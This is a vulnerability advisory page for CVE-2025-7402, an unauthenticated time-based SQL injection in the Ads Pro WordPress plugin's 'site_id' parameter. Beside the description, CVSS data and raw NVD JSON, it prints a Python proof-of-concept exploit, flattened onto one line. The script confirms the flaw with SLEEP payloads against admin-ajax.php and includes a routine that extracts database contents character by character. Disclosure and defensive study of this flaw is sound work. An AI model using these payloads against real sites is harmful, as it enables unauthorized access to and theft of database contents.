Security Vulnerability Report
中文
CVE-2025-7402 CVSS 7.5 HIGH

CVE-2025-7402

Published: 2025-11-24 05:16:06
Last Modified: 2026-04-15 00:35:42

Description

The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to time-based SQL Injection via the ‘site_id’ parameter in all versions up to, and including, 4.95 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Ads Pro Plugin <= 4.95

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" def sql_injection_test(): """ CVE-2025-7402 Time-based SQL Injection PoC Target: Ads Pro Plugin site_id parameter """ # Test payload - check if vulnerable # Using time-based blind SQL injection with SLEEP() normal_payload = { 'action': 'adspro_get_ad_codes', 'site_id': '1' } start_time = time.time() response = requests.post(target_url, data=normal_payload, timeout=10) normal_time = time.time() - start_time # Exploit payload - time-based SQL injection exploit_payload = { 'action': 'adspro_get_ad_codes', 'site_id': '1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)' } start_time = time.time() response = requests.post(target_url, data=exploit_payload, timeout=30) exploit_time = time.time() - start_time if exploit_time > normal_time + 4: print("[+] Target is VULNERABLE to CVE-2025-7402") print(f"[+] Normal response time: {normal_time:.2f}s") print(f"[+] Exploit response time: {exploit_time:.2f}s") else: print("[-] Target may NOT be vulnerable") def extract_data(): """ Example: Extract database version using time-based blind SQL injection """ charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' result = "" for i in range(1, 50): for char in charset: payload = { 'action': 'adspro_get_ad_codes', 'site_id': f"1 AND IF(SUBSTRING(@@version,{i},1)='{char}',SLEEP(2),0)" } start_time = time.time() response = requests.post(target_url, data=payload, timeout=10) elapsed = time.time() - start_time if elapsed >= 2: result += char print(f"[*] Extracted: {result}") break elif char == 'Z': print(f"[!] Extraction complete: {result}") return if __name__ == "__main__": print("CVE-2025-7402 PoC - WordPress Ads Pro Plugin SQL Injection") print("=" * 60) sql_injection_test()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-7402", "sourceIdentifier": "[email protected]", "published": "2025-11-24T05:16:05.903", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to time-based SQL Injection via the ‘site_id’ parameter in all versions up to, and including, 4.95 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://codecanyon.net/item/ads-pro-plugin-multipurpose-wordpress-advertising-manager/10275010", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5548b97d-14f0-4f50-b213-a19c02c240be?source=cve", "source": "[email protected]"}]}}